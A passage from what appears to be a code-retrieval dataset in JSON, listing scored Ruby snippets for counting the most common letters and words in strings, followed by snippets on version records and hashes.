string.split(\"\")\n array.each do |letter|\n if letter != \" \"\n hash[letter] += 1\n end\n end\n hasher = hash.sort{|a,b| a[1] <=> b[1]}.last[0]\n return hasher\n \nend", "title": "" }, { "docid": "7f7b8c8342cf794d3502d0966b988911", "score": "0.7626986", "text": "def most_frequent_letter(str)\n if str.include?(\" \")\n words = str.split(\" \")\n letters = []\n words.each do |word|\n word.chars.each do |ch|\n letters << ch\n end\n end\n else\n letters = str.split(\"\")\n end\n\n letter_ct = Hash.new(0)\n\n letters.each do |letter|\n letter_ct[letter] += 1\n end\n\n most_frequent_letter_ct = nil\n most_frequent_letter = nil\n letter_ct.each do |letter, ct|\n if most_frequent_letter_ct.nil? || ct > most_frequent_letter_ct\n most_frequent_letter_ct = ct\n most_frequent_letter = letter\n end\n end\n\n most_frequent_letter\nend", "title": "" }, { "docid": "ca236a22c5e52659f622bb4f606b1e87", "score": "0.76221895", "text": "def most_frequent_word (str)\n word_counts = word_count(str)\n # str.split.each { |w|\n # num = str.split.count w\n # word_count[w] = num\n # }\n ans = word_counts.max_by{|k,v| v}\n ans[0]\nend", "title": "" }, { "docid": "d2ade58c7193fab44cb2568b151b236c", "score": "0.759372", "text": "def most_frequent_word(str)\n word_count(str).sort do |a,b| b[1] <=> a[1] end[0][0]\nend", "title": "" }, { "docid": "6e53557f3cfadeab86fbc02722c1d3d8", "score": "0.75769925", "text": "def most_frequent_letter(string)\n str = string.chars\n h = Hash.new(0)\n str.reject! { |l| l == \" \"}\n str.each do |e|\n h[e] += 1\n end\n freq_letter = h.keys.first\n h.each do |letter, count|\n if count > h[freq_letter]\n freq_letter = letter\n end\n end\n freq_letter\nend", "title": "" }, { "docid": "cf3666fab1ffe697ada30fce132593a7", "score": "0.7565631", "text": "def most_frequent_word(string)\n word_counts = word_count(string)\n word_counts.empty? ? nil : word_counts.invert.max[1]\nend", "title": "" }, { "docid": "bcfba289156fe84bf5e7d6368ac6146e", "score": "0.75297946", "text": "def frequent_letters(string)\n count = Hash.new(0)\n most_common = []\n\n string.each_char { |letter| count[letter] += 1 }\n\n count.each { |k,v| most_common << k if v > 2 }\n\n return most_common\nend", "title": "" }, { "docid": "470e003cef13b42738346b8b98e2d4bc", "score": "0.75029844", "text": "def most_frequent_word(string)\n string = string.downcase\n string.gsub!(/[^a-z ]/,'')\n words = string.split\n counts = Hash.new(0)\n words.each { |word| counts[word] += 1 }\n counts.max_by{ |k,v| v }[0]\n end", "title": "" }, { "docid": "967e2616a2c709dffd5835944d33bf6d", "score": "0.74483067", "text": "def most_frequent_word(str)\n\thash = word_count(str)\n\tmost_frequent = str.split(\" \").first\n\thash.each do |k, v|\n\t\tif v > hash[most_frequent]\n\t\t\tmost_frequent = v\n\t\tend \n\tend\n\tmost_frequent\nend", "title": "" }, { "docid": "5e35be6784c1c222b115ebc6b0d2946e", "score": "0.74079776", "text": "def most_common_letter2(string)\n unique = string.chars.uniq\n count = []\n unique.each do |char|\n count << string.chars.count(char)\n end\n unique.zip(count).sort_by {|sub| sub[1]}.last\nend", "title": "" }, { "docid": "b24fd2e3d442a318f83613db08fd2e3e", "score": "0.74022293", "text": "def find_letter_of_most_occurences(string)\n hash = Hash.new(0)\n char_array = string.chars\n\n char_array.each do |letter|\n hash[letter] = string.count(letter)\n end\n max_value = hash.values.max\n\n hash.each do |key, value|\n if value == max_value\n return key\n end\n end\nend", "title": "" }, { "docid": "edc985aa29c5750fbcbfd4771b369a3c", "score": "0.7391437", "text": "def bigram_with_string(str)\n res = 0\n words = find_indexes_for(str.chomp.split(' '))\n\n last_word = ''\n words.each_with_index {|(word, index), i|\n if i == 0\n res = compute_unigram_for(word)\n else\n res *= compute_bigram_for(word, last_word)\n end\n last_word = word\n }\n\n return Math.log(res)\nend", "title": "" }, { "docid": "55aba5e5dc55bd2b3dab8beaeb3265ef", "score": "0.7378016", "text": "def most_common_letter(string)\n# str = string\n# mostCommonLetter = \"\"\n# mostCommonFreq = 0\n mostCommon = [\"\",0]\n \n i=0\n while i<string.length\n # For each letter, go through rest of string counting occurences of the letter. \n j=i+1\n freq=1\n while j<string.length\n if string[i]==string[j] \n freq += 1\n end\n j+=1\n end\n \n if freq>mostCommon[1]\n mostCommon[0] = string[i]\n mostCommon[1] = freq\n end\n \n i += 1\n end\n \n return mostCommon\n# return [mostCommonLetter, mostCommonFreq]\n \nend", "title": "" }, { "docid": "3d6feccca94bd65599cce30d80240944", "score": "0.73745406", "text": "def most_common_letter(string)\n frequency_counts = Hash.new { |hash, key| hash[key] = 0 }\n string.chars.each { |char| frequency_counts[char] += 1 }\n max_value = frequency_counts.values.max\n frequency_counts.select { |_, count| count == max_value }.to_a.first\nend", "title": "" }, { "docid": "fcf622297991c6a0c8e43002346e2a66", "score": "0.73629296", "text": "def most_frequent_word(my_str)\n my_str = my_str.downcase\n str_to_array = my_str.split(\" \")\n \n word_counter = Hash.new(0)\n\n str_to_array.each do |word| \n word.gsub!(/[^a-z]/,\"\")\n word_counter[word]+= 1\n end\n\n word_counter = word_counter.sort_by {|word, count| count}\n word_counter.reverse!\n return word_counter[0][0]\n\nend", "title": "" }, { "docid": "9b36467c6af06e429461f95c0c164b71", "score": "0.7334925", "text": "def most_frequent_word(str)\n arr = str.downcase.split(' ')\n counts = {}\n arr.each{|x| counts[x] = arr.count(x) }\n counts.max_by{|k,v| v}[0]\n end", "title": "" }, { "docid": "ac07d58fe3b3382a179b9d45c5843d81", "score": "0.72271293", "text": "def most_common_letter str\n str.gsub!(/[^0-9A-Za-z]/, \"\")\n arr = str.split(\"\")\n letters = Hash.new(0)\n arr.each do |n|\n letters[n] += 1\n end\n p letters.key(letters.values.max)\nend", "title": "" }, { "docid": "3c211755d5dafb7f2e2a482b18ef81bd", "score": "0.7227049", "text": "def most_common_letter(string)\n most_common_letter = \"\"\n letter = string.split(\"\")\n largest = 0\n\n i = 0\n while i < letter.length\n j = i\n most_common_letter_count = 0\n \n while j < letter.length\n if letter[i] == letter[j]\n most_common_letter_count += 1\n end\n j += 1\n end\n\n if most_common_letter_count > largest\n largest = most_common_letter_count\n most_common_letter = letter[i]\n end\n i += 1\n end\n [most_common_letter, largest]\nend", "title": "" }, { "docid": "3d34cadd5cbd437dc24995debfe41128", "score": "0.71920455", "text": "def most_common_letter(string)\n letters = string.split(\"\")\n i = 0\n most_common_count = 0\n most_common_letter = \"\"\n\n while i < letters.length\n j = i\n count = 0\n while j < letters.length\n if letters[j] == letters[i]\n count += 1\n end\n j += 1\n end\n if count > most_common_count\n most_common_letter = letters[i]\n most_common_count = count\n end\n i += 1\n end\n[most_common_letter, most_common_count]\nend", "title": "" }, { "docid": "04a76c24fd1b6dd7b8681acc3a4740b3", "score": "0.7179701", "text": "def most_common_letter(string)\nend", "title": "" }, { "docid": "8744b62cf36bba6d29e47cf674006b74", "score": "0.7177919", "text": "def most_common_letter(string)\n idx1 = 0\n maxlen = 0\n maxchar = nil\n result = []\n while idx1 < string.length do\n idx2 = idx1 + 1 \n count = 1\n while(idx2 < string.length) do\n if string[idx1] == string[idx2]\n count += 1\n end\n idx2 += 1\n end\n if maxlen < count\n maxlen = count\n maxchar = string[idx1]\n end\n idx1 += 1\n end\n result << maxchar\n result << maxlen\n # puts result\n return result\nend", "title": "" }, { "docid": "b76d4fbf820d7fae0f7a5eb3053eb6d6", "score": "0.716325", "text": "def most_frequent_word(str)\n # sets word count hash\n word_count = word_count(str)\n # Ternary statement: returns nil if word count hash is empty (if str == \"\")\n # otherwise searches hash for max_by value which returns an array\n # of the key/value pair with the highest value (ex. ['word', 3]). The zero index\n # returns the word that occurs with the most frequency\n word_count.empty? ? nil : word_count.max_by{|key,value| value}[0]\nend", "title": "" }, { "docid": "c3f0048241ca6b56c1559bd755aff86f", "score": "0.71518004", "text": "def most_common_letter(string)\n stats = Hash.new(0)\n string.each_char { |char| stats[char] += 1 }\n [stats.key(stats.values.max), stats.values.max]\nend", "title": "" }, { "docid": "f551cc40865322bc91e385a94ddbfcb2", "score": "0.71351016", "text": "def most_common_letter(str)\n arr = []\n str.each_char { |chr| arr << [chr, str.count(chr)] }\n arr.uniq.max { |e1, e2| e1[1] <=> e2[1]}\nend", "title": "" }, { "docid": "84035761c9bd96c4ddc9d4a98f8a6de4", "score": "0.71319664", "text": "def most_common_letter(string)\n hash = Hash.new(0)\n string.chars do |char|\n hash[char] += 1\n end\n arr = hash.to_a.sort_by do |sub_arr|\n sub_arr[1] \n end\n arr.last\nend", "title": "" }, { "docid": "f35797a8e0881186d10f639380aa6cb0", "score": "0.7129702", "text": "def most_common_letter(string)\n max=0\n res=nil\n idx=0\n while idx < string.length\n cur=string[idx]\n count=1\n idx2=idx+1\n while idx2<string.length\n count+=1 if string[idx2] == cur\n idx2+=1\n end\n if count>max\n max=count\n res=cur\n end\n idx+=1\n end\n return [res,max]\nend", "title": "" }, { "docid": "43555f16aa8e444ad0c35b8f8911c16c", "score": "0.7129414", "text": "def most_common_letter(string)\n unique = string.chars.uniq\n maxChar = string[0]\n maxCount = string.chars.count maxChar\n unique.each do |char|\n count = string.count char\n if count > maxCount\n maxCount = count\n maxChar = char\n end\n end\n \n return [maxChar, maxCount] \nend", "title": "" }, { "docid": "afc1d9f863ac7a7673f275da4a6fec27", "score": "0.7108998", "text": "def get_most_common_words\n\t$bigrams.each do |key, word| # iterate over bigram hash\n\t\tmax_word = word.max_by{|k, count| count} # get max element of bigram word hash\n\t\t$most_common[key] = max_word[0]\n\tend\nend", "title": "" }, { "docid": "d59ae0bb60e70745b19e8d3fde76153c", "score": "0.7103825", "text": "def most_common_letter(string)\n counts = Hash.new 0\n string = string.split('')\n string.each do |x|\n counts[x] += 1\n end\n return counts.max_by{|k,v| v}\nend", "title": "" }, { "docid": "216218bc4608f572af25b56e7b2d1a15", "score": "0.708524", "text": "def most_common_letter(string)\n most_common = ''\n most_common_count = 0\n\n string.chars.uniq.each do |char|\n if string.count(char) > most_common_count\n most_common = char\n most_common_count = string.count(char)\n end\n end\n\n [most_common, most_common_count]\nend", "title": "" }, { "docid": "4c79d0328cf7bf8530b3f9380493f533", "score": "0.70838064", "text": "def most_common_letter(string)\n\tarray = string.split(//)\n\ti = 0\n\tn = 1\n\tcommon_letter = \"\"\n\tcommon_letter_counter = 1\n\tmost_common_letter = \"\"\n\tmost_common_letter_counter = 0\n\twhile i < array.length\n\t\twhile n < array.length\n\t\t\tif array[i] == array[i + n]\n\t\t\t\tcommon_letter_counter += 1\n\t\t\t\tcommon_letter = array[i]\n\t\t\tend\n\t\t\tn += 1\n\t\tend\n\t\tif common_letter_counter > most_common_letter_counter\n\t\t\tmost_common_letter = common_letter\n\t\t\tmost_common_letter_counter = common_letter_counter\n\t\tend\n\t\tcommon_letter_counter = 1\n\t\tn = 1\n\t\ti += 1\n\tend\n\tresult = [most_common_letter, most_common_letter_counter]\n\tputs\n\tp result\n\treturn result\nend", "title": "" }, { "docid": "b4fe466f67b3130d8ad67814bbc60497", "score": "0.706815", "text": "def most_common_letter(string)\r\n\r\n counter = []\r\n idx = 0\r\n \r\n while idx < string.length\r\n \r\n counter[idx] = 1\r\n idx2 = idx + 1\r\n \r\n while idx2 < string.length\r\n if string[idx] == string[idx2]\r\n counter[idx] = counter[idx] + 1\r\n end\r\n idx2 += 1\r\n end\r\n idx += 1\r\n end\r\n\r\n idx = 0\r\n max = 0\r\n place = 0\r\n\r\n while idx < string.length\r\n\r\n if max < counter[idx]\r\n max = counter[idx]\r\n place = idx\r\n end\r\n idx += 1\r\n end\r\n return([string[place], max])\r\n \r\nend", "title": "" }, { "docid": "2d50316d2d6b01081f05a604a6dbe06d", "score": "0.70393413", "text": "def most_common_letter(string)\n # a = 0\n # b = 0\n # counter1 = 0\n # counter2 = 0\n\n # while a < string.length\n # b = 0\n # while b < string.length\n # if string[a] == string[b]\n # counter1 += 1\n # end\n # b += 1\n # end\n # if counter1 > counter2\n # counter2 = counter1 \n # counter1 = 0\n # var = [string[a], counter2] \n # end\n # a += 1\n # end\n # return var\n\n letter, count = ('a'..'z')\n .map { |letter| [letter,string.count(letter)] }\n .max_by(&:last)\nend", "title": "" }, { "docid": "67ba4ad7ecd50fe318ce85c0de977f9a", "score": "0.7027948", "text": "def most_common_letter(string)\n\tmost_common_letter = nil\n\tmost_common_letter_count = nil\n\t\n\tfor x in 0 .. string.length-1\n\t\tcount = 1\n\t\tfor y in x+1 .. string.length-1\n\t\t\tif string[x]==string[y]\n\t\t\t\tcount += 1\n\t\t\tend\t\n\t\tend\n\t\t\n\t\tif most_common_letter == nil || (most_common_letter != string[x] && most_common_letter_count < count)\n\t\t\tmost_common_letter = string[x] \n\t\t\tmost_common_letter_count = count\n\t\tend\t\n\t\t\n\tend\n\treturn [most_common_letter, most_common_letter_count]\nend", "title": "" }, { "docid": "7da1cc33cb0459729ad88f2f1d4c848a", "score": "0.70242363", "text": "def most_frequent_character(values)\n most_frequent_characters(values).first\n end", "title": "" }, { "docid": "cc24decb9790014959ef7ed8e497d75e", "score": "0.6992035", "text": "def most_common_letter(string)\n \n letters = string.split('')\n most_num = 0\n output=[]\n \n letters.each do |letter|\n num_found = letters.count(letter)\n if num_found >= most_num\n most_num = num_found\n output = [letter,most_num]\n end\n end \n return output\nend", "title": "" }, { "docid": "4378af2b21a6b57dc3b7744b3eb0f6d9", "score": "0.6981483", "text": "def most_common_letter(string)\n hash = {}\n \n string.split(\"\").each do |letter|\n if hash[letter]\n hash[letter] += 1\n else\n hash[letter] = 1\n end\n end\n\n count = hash.values\n letters = hash.keys\n\n i = 0\n counter = 0\n while i < count.length\n if count[i] > counter\n counter = count[i]\n mcl = letters[i]\n end\n i += 1\n end\n [mcl, counter]\nend", "title": "" }, { "docid": "c8588562fdfb9907d0709a7a1f5666d1", "score": "0.6971405", "text": "def get_most_common_char(input)\n print input.downcase.split('').tally.max_by{|k,v| v}[0]\nend", "title": "" }, { "docid": "21e501c71e8fcabb4cff5daf364f11c5", "score": "0.69693524", "text": "def most_common_letter(string)\n most_common_letter = 0\n most_common_letter_count = 0\n\n i = 0\n while i < string.length\n letter = string[i]\n count = 0\n\n ii = 0\n while ii < string.length\n if string[ii] == letter\n count = count + 1\n end\n ii = ii + 1\n end\n\n if most_common_letter_count == 0 || count > most_common_letter_count\n most_common_letter = letter\n most_common_letter_count = count\n end\n\n i = i + 1\n end\n return [most_common_letter, most_common_letter_count]\n\nend", "title": "" }, { "docid": "8903af8b04a91d72fc954b33b39a4015", "score": "0.6962657", "text": "def highest_count(string)\n for_last = [0]\n string.chars { |letter| for_last << string.chars.count(letter) if string.chars.count(letter) > for_last.last }\n for_last.last\nend", "title": "" }, { "docid": "0bce05bce92bac218c9105884bc170dc", "score": "0.69569546", "text": "def most_common_letter(string)\n count = 0\n mcl = ''\n id = 0\n idx = 0\n array2 = string.split(\"\")\n while id < string.length\n if array2.count(string[id]) > count\n count = array2.count(string[id])\n mcl = string[id]\n else\n id += 1\n end\n end\n return [mcl, count]\n \nend", "title": "" }, { "docid": "213738bcfcfd8265db1ae5336cd1f4ed", "score": "0.69486904", "text": "def most_common_letter(string)\n # initialize most common letter and its count, set count with nil\n most_common_letter = nil\n most_common_letter_count = nil\n \n # go through every index in the string to set the current letter being evaluated\n index1 = 0\n while index1 < string.length # 0 < 4\n # set variable within local scope\n letter = string[index1] # letter = string[0] = a\n count = 0 # count = 0\n \n # 2nd loop, go through every index in the string and increment by 1 everytime\n # that letter (set in earlier 'index1' while loop) appears\n index2 = 0\n while index2 < string.length # 3 < 4\n if string[index2] == letter # string[3] == a\n count += 1 # count = 2 (because string[0] & string[3] == a)\n end\n # increment 2nd loop\n index2 += 1\n end\n \n # overrides most_common_letter and its count if the new count is higher\n # results is given from our 2nd loop above\n if (most_common_letter_count == nil) || (count > most_common_letter_count)\n most_common_letter = letter\n most_common_letter_count = count\n end\n \n # increment our 1st loop\n index1 += 1\n end\n \n return [most_common_letter, most_common_letter_count]\n end", "title": "" }, { "docid": "1ab0f313aa2b1770e16f092e63cd036e", "score": "0.6925173", "text": "def most_common_letter(string)\n most_common_letter = nil\n most_common_letter_count = nil\n \n idx = 0\n while idx < string.length\n \n idx1 = 0\n while idx1 < string.length\n \n if string[idx] = letter\n count +=1 \n end\n \n idx1 += 1\n end\n \n if false\n end\n \n idx += 1\n end\n \n \nend", "title": "" }, { "docid": "bd1667ce1c4af769ade6d21bdfe43180", "score": "0.69239587", "text": "def most_common_letter(str)\n letters = Hash.new\n\n for i in 0..str.length-1\n if letters.has_key?(str[i])\n letters[str[i]] += 1\n else \n letters[str[i]] = 1\n end\n end\n\n max = letters[str[i]]\n maxKey = str[i]\n letters.each{|key, value|\n if (value > max)\n max = value\n maxKey = key\n end\n }\n return maxKey\nend", "title": "" }, { "docid": "5f253ac63765a411ca5246147a4cf64c", "score": "0.6919397", "text": "def word_with_most_repeats(sentence)\n words = sentence.split(/\\W/)\n best_word = \"\"\n most_repeats = 0\n \n words.each do |word|\n word.chars.each do |c|\n letter_repeats = word.count(c)\n if letter_repeats > most_repeats\n most_repeats = letter_repeats\n best_word = word\n end\n end\n end\n best_word\nend", "title": "" }, { "docid": "0533209ad91285af06ca510b581c36cb", "score": "0.69165975", "text": "def most_common_letter(string)\n\t\n\t#lettercount = []\n\thighestlettercount = 0\n\tmostpopularletter = \"\"\n\t#start w first letter, then go through basing off other letters\n\ti = 0 \n\twhile (i < string.length)\n\t\n\t\t#set current base letter's count to 0 \n\t\tcurrentlettercount = 0 \n\t\n\t\t#look at rest of letters in string, compare to base letter\n\t\tk = 0 \n\t\twhile (k < string.length)\n\t\t\n\t\t\tif (string[i] == string[k])\n\t\t\t\tcurrentlettercount += 1\n\t\t\tend\n\t\t\t\n\t\t\tk += 1\n\t\t\n\t\tend\n\t\n\t\t#set highestlettercount to this one IF highest \n\t\tif (currentlettercount > highestlettercount)\n\t\t\thighestlettercount = currentlettercount\n\t\t\tmostpopularletter = string[i]\n\t\tend\n\t\t\n\t\t#set spot in lettercount array for this letter to currentlettercount\n\t\t#lettercount[i] = currentlettercount\n\t\t\n\t\t#move on to next base letter\n\t\ti += 1 \n\t\t\n\tend\n\t\n\t#array: mostcommonletter, highestlettercount\n\tfinalarray = [mostpopularletter, highestlettercount]\n\t\n\treturn finalarray\n\t\nend", "title": "" }, { "docid": "95ca678e9aeb44d553df1d31457d560f", "score": "0.69078696", "text": "def most_common_letter(string)\n\twinning_letter = \"\"\n\twinning_count = 0\n\n\tstring.length.times do |x|\n\t\tletter = string[x]\n\t\tcount = 0\n\t\tstring.length.times do |y|\n\t\t\tcount += 1 if string[y] == letter\n\t\tend\n\t\tif count > winning_count\n\t\t\twinning_letter = letter\n\t\t\twinning_count = count\n\t\tend\n\tend\n\treturn [winning_letter, winning_count]\nend", "title": "" }, { "docid": "2b8b46510c2c28b6960d13c07ec1eb23", "score": "0.69000876", "text": "def most_common_letter(string)\n\tletters = {}\n\t#byebug\n\tstring.split(\"\").each do |c|\n\t\tif letters.has_key?(c)\n\t\t\tletters[c] += 1\n\t\telse\n\t\t\tletters[c] = 1\n\t\tend\n\tend\n\treturn [letters.key(letters.values.max), letters.values.max]\nend", "title": "" }, { "docid": "95af9cae5d6baf8569114b32f963959f", "score": "0.6898193", "text": "def most_common_letter(string)\n letter_cnt= {} # an empty Hash\n letter_cnt.default= 0 # Hashes have a default value that is returned when accessing keys that do not exist in the hash. If no default is set nil is used.\n \n letters= string.split('') # converts string into array of characters/one-letter-strings\n \n for letter in letters\n letter_cnt[letter]+= 1\n end\n \n max_cnt= 0\n max_let= '' # key val\n letter_cnt.each do |let, cnt|\n if cnt>max_cnt\n max_cnt= cnt\n max_let= let\n end\n end\n \n return [max_let, max_cnt]\nend", "title": "" }, { "docid": "719548084dbb4af3e1a6b236e0bffb61", "score": "0.6895669", "text": "def most_common_letter(string)\n counts={}\n string.split('').each { | letter |\n if counts.include?(letter)\n counts[letter] = counts[letter] + 1\n else\n counts[letter] = 1\n end\n }\n r=[0,0]\n counts.each { |letter,count|\n if count > r[1]\n r = [letter,count]\n end\n }\n r\nend", "title": "" }, { "docid": "42ebab02bee0960f4ae6cba09921eb74", "score": "0.68922675", "text": "def letter_count(str)\n words = str.split\n greatest = nil\n count = 1\n words.each do |word|\n letters = word.downcase.chars\n ('a'..'z').each do |letter|\n current_count = word.downcase.count(letter)\n if current_count > count\n greatest = word\n count = current_count\n end\n end\n end\n greatest || -1\nend", "title": "" } ]
8dbf6fd11e02fb868d45bac1cde9f540
Given a SQL fragment that identifies the IDs of version records, returns a `Hash` mapping those IDs to `Version`s.
[ { "docid": "67f98b8d696cd67c6d45c33626059fa8", "score": "0.5646841", "text": "def versions_by_id(klass, version_ids)\n klass.\n paper_trail.version_class.\n where(id: version_ids).\n inject({}) { |a, e| a.merge!(e.item_id => e) }\n end", "title": "" } ]
[ { "docid": "3f7804fcbd58009d09ee20e51f541ca4", "score": "0.6117137", "text": "def to_hash_with_versions schema = {}\n schema = parse_schema schema\n\n HASH_TEMPLATE.clone.tap { |ret|\n @result.getMap.each do |cf, cqmap|\n cqmap.each do |cq, tsmap|\n name = ColumnKey.new(cf, cq)\n type = schema[name]\n\n ret[name] =\n Hash[\n tsmap.map { |ts, val|\n [ ts, type ? Util.from_bytes(type, val) : val ]\n }\n ]\n end\n end\n }\n end", "title": "" }, { "docid": "4d9d35c9e77427d313b62eadb28cf633", "score": "0.5878772", "text": "def create_versions_hash\n hash = Hash.new { |h, k| h[k] = [] }\n\n versions.each do |version|\n hash[version[0]] << version\n end\n\n hash\n end", "title": "" }, { "docid": "ea72303553c4e8b7138011b7f2c800ab", "score": "0.5433121", "text": "def versions\n version_model = model.const_get(:Version)\n query = model.key.zip(key).map { |p, v| [ p.name, v ] }.to_hash\n query.merge(:order => version_model.key.map { |k| k.name.desc })\n version_model.all(query)\n end", "title": "" }, { "docid": "11ef20383ed13b9c55696e1ac8a366c4", "score": "0.53459984", "text": "def versions\n self.class.where(id: self._id)\n end", "title": "" }, { "docid": "a328e4cd6f1a95fcc9611bc52fcd1f12", "score": "0.5343818", "text": "def versioned_attributes\n versioned_columns.map { |attr| [attr, send(attr)] }.to_h.with_indifferent_access\n end", "title": "" }, { "docid": "47478391762faf10093873d0d1362746", "score": "0.5308506", "text": "def versioning\n identifier(audit_db, \"_v_#{name}\")\n end", "title": "" }, { "docid": "7a6dd7bce778b272fbced45fe0a617ac", "score": "0.5232181", "text": "def hash\n name.hash ^ version.hash\n end", "title": "" }, { "docid": "f5cac54b0c7078615ca364739095ae2e", "score": "0.51810765", "text": "def schema_meta_structure\n CreateVersionsTableQuery.new.to_cql\n end", "title": "" }, { "docid": "6674e17243370dc07312ea35f511c878", "score": "0.5164714", "text": "def load_versions_for_hm_association(assoc, model, version_table, tx_id, version_at)\n # For STI models, associations may be defined to reference superclasses, so looking up \n # based on only the child-most class is not appropriate.\n sti_model_names = model.class.ancestors\n .select { |x| x <= model.class.base_class && x.method_defined?(assoc.name) }\n .map(&:name)\n\n version_ids = ::PaperTrail::VersionAssociation.\n joins(model.class.version_association_name).\n select(\"MIN(version_id) as version_id\").\n where(\"foreign_key_name = ?\", assoc.foreign_key).\n where(\"foreign_key_id = ?\", model.id).\n where(foreign_type: sti_model_names + [nil]).\n where(\"#{version_table}.item_type = ?\", assoc.klass.base_class.name).\n where(\"created_at >= ? OR transaction_id = ?\", version_at, tx_id).\n group(\"item_id\").\n map{|e| e.version_id}\n versions_by_id(model.class, version_ids)\n end", "title": "" }, { "docid": "accaaf58b15da7d1a01a3150cd4a3109", "score": "0.51637745", "text": "def versions\n versions = Backlogjp.base._command \"getVersions\", self.id\n versions.map {|hash| Version.new(hash)}\n end", "title": "" }, { "docid": "7913206f958b8bdf51c7bcab64d505ab", "score": "0.5151645", "text": "def to_h\n { \n \"Version\" => version,\n \"Id\" => id,\n \"Statement\" => statements.map { |st| st.to_h } \n }\n end", "title": "" }, { "docid": "2dcb90699a0b4c32bb6eb743c107fc17", "score": "0.5144451", "text": "def version_by_id(version_str)\n version_id = File.join(component_id, version_str)\n finder.versions.cache(version_id) do\n info_versions = components.map do |c|\n Repository::Version.new(version_str).version_id(version_id).parent(c)\n end\n existing_versions = info_versions.select do |v|\n v.exist?\n end\n Version.new.component(self).version_id(version_id).name(version_str).versions(existing_versions)\n end\n end", "title": "" }, { "docid": "e6cd18c88d968d087d6bda4dcb9c7997", "score": "0.5129026", "text": "def parse_versions(entries)\n entries.map do |rw, ami|\n str, region = rw.split('?').map { |s| s.start_with?('region') ? s.split('=').last : s }\n version_str = fix_entry(str).split('-')\n name, version, baseos = version_str\n Struct::ElasticSearch.new(name,\n Semantic::Version.new(version.tr('=', '-')),\n baseos,\n version_str.include?('ebs') ? :ebs : :'instance-store',\n version_str.include?('x64') ? :amd64 : :i386,\n region,\n ami,\n version_str.include?('hvm') ? :hvm : :pv)\n end\n end", "title": "" }, { "docid": "40c6e47c629881771161596962f1b15f", "score": "0.50927204", "text": "def cache_version_key\n \"#{Photo.hash_schema_version}.#{self.cache_version}\"\n end", "title": "" }, { "docid": "61b9c6f623e6dbe8cf504bd34da7f753", "score": "0.50708354", "text": "def versions\n return @_versions ||= Regulate::Git::Interface.commits(id)\n end", "title": "" }, { "docid": "56bd0da7ef11467601c195afcdd6c070", "score": "0.50471514", "text": "def to_hash schema = {}\n schema = parse_schema schema\n\n HASH_TEMPLATE.clone.tap { |ret|\n @result.getNoVersionMap.each do |cf, cqmap|\n cqmap.each do |cq, val|\n name = ColumnKey.new(cf, cq)\n type = schema[name]\n ret[name] = type ? Util.from_bytes(type, val) : val\n end\n end\n }\n end", "title": "" }, { "docid": "4291cdf30b749999d0d2cbfd95c1851a", "score": "0.50272363", "text": "def versions\n Code.where(parent_id: parent_id, parent_class: parent_class, name: name)\n end", "title": "" }, { "docid": "b6bd69d442cf291eb96949f9ded3861e", "score": "0.5022734", "text": "def get_all_version_ids(response)\n version_id_array = []\n response.to_hash[:multi_ref].each do |version|\n version_id_array << version[:sequence].to_i\n end\n return version_id_array\n rescue Savon::SOAPFault => error\n puts error.to_hash[:fault][:faultstring]\n end", "title": "" }, { "docid": "7fe07d2a9c943a3fa1a52e2def954d22", "score": "0.5005909", "text": "def to_hash(version = 1)\n h = nil\n if version == 1\n arr = []\n @items.each_with_index do |item, index|\n temp_h = item.to_hash(version)\n temp_h[:workflow_index] = index\n\n arr << temp_h\n end\n\n h = arr\n else\n raise \"Version #{version} not yet implemented for to_hash\"\n end\n\n h\n end", "title": "" }, { "docid": "ea46b91cb490863b50b0ff7a1e7b7f7f", "score": "0.4971832", "text": "def latest_verifications_for_all_consumer_version_tags\n verif_pact_join = { Sequel[:v][:pact_version_id] => Sequel[:lpp][:pact_version_id] }\n tag_join = { Sequel[:lpp][:consumer_version_id] => Sequel[:cvt][:version_id] }\n verisons_join = { Sequel[:v][:provider_version_id] => Sequel[:pv][:id] }\n\n base_query = db[Sequel.as(:latest_verification_id_for_pact_version_and_provider_version, :v)]\n .select(:v[:verification_id], :pv[:pacticipant_id].as(:provider_id), :lpp[:consumer_id], :cvt[:name].as(:consumer_version_tag_name))\n .join(:latest_pact_publication_ids_for_consumer_versions, verif_pact_join, { table_alias: :lpp } )\n .join(:tags, tag_join, { table_alias: :cvt })\n .join(:versions, verisons_join, { table_alias: :pv })\n\n\n base_join = {\n :pv[:pacticipant_id] => :v2[:provider_id],\n :lpp[:consumer_id] => :v2[:consumer_id],\n :cvt[:name] => :v2[:consumer_version_tag_name]\n }\n\n thing = base_query\n .left_join(base_query, base_join, { table_alias: :v2 }) do | _table, _joined_table, _something |\n :v2[:verification_id] > :v[:verification_id]\n end.where(:v2[:verification_id] => nil)\n\n where(id: thing.from_self.select(:verification_id))\n end", "title": "" }, { "docid": "48c20c48c1d1ae567355b14a83e206b1", "score": "0.49691412", "text": "def hash\n rows.hash\n end", "title": "" }, { "docid": "6ce00febf368988cdb8c7b4b62b7e750", "score": "0.4962352", "text": "def version_id\n \"#{size}+#{timestamp}-#{md5}\"\n end", "title": "" }, { "docid": "25806420ef6bbdfaf68e0aa99af7e14d", "score": "0.48912928", "text": "def update_version( result ) \n self.id = result['id']\n self.rev = result['rev']\n end", "title": "" }, { "docid": "a9b161d9d1b35743efdaab789fb88679", "score": "0.48850822", "text": "def version_id\n self.get_column(\"Entry_ID/Version\")\n end", "title": "" }, { "docid": "26273eace1c350540f28555f33e07cf4", "score": "0.4881573", "text": "def find_fragments(criteria = {:host => \"\", :version => \"\"})\n selected = fragments\n if (criteria[:host])\n selected = selected.select {|b| b.fragment.name == criteria[:host]}\n end\n if (criteria[:version])\n selected = selected.select {|b| b.fragment.version == criteria[:version]}\n end\n selected\n end", "title": "" }, { "docid": "5fcf7f41799233a0623819139d23dfa3", "score": "0.48691273", "text": "def version\n res = {}\n res[:branch] = @branch\n res[:history] = @history\n res[:releases] = @releases\n res[:diffs] = @diffs.keys\n res\n end", "title": "" }, { "docid": "b9df2c82c587c593ad78d4e45d37a3ec", "score": "0.48449686", "text": "def versions\n versions = {}\n versions['All Versions'] = 'all'\n versions[self.version + ' (Current Version)'] = 'current'\n MapRating.where(map_slug: self.slug).select(:map_version).map(&:map_version).uniq.sort_by {|ver| ver}.reverse!.each do |version|\n versions[version] = version.downcase.gsub('.', '_') unless version == self.version\n end\n versions\n end", "title": "" }, { "docid": "df9b8916841766d7f41a3cebe0f3fff0", "score": "0.48397884", "text": "def versions(include_current = false)\n query = {}\n version = self.class.const_get(\"Version\")\n self.class.key.zip(self.key) { |property, value| query[property.name] = value }\n query.merge(:order => version.key.collect { |key| key.name.desc })\n result = version.all(query)\n end", "title": "" }, { "docid": "0ae3bf529e560dd4106a19379a575f33", "score": "0.48249176", "text": "def look_up_version_numbers(selectors, options)\n 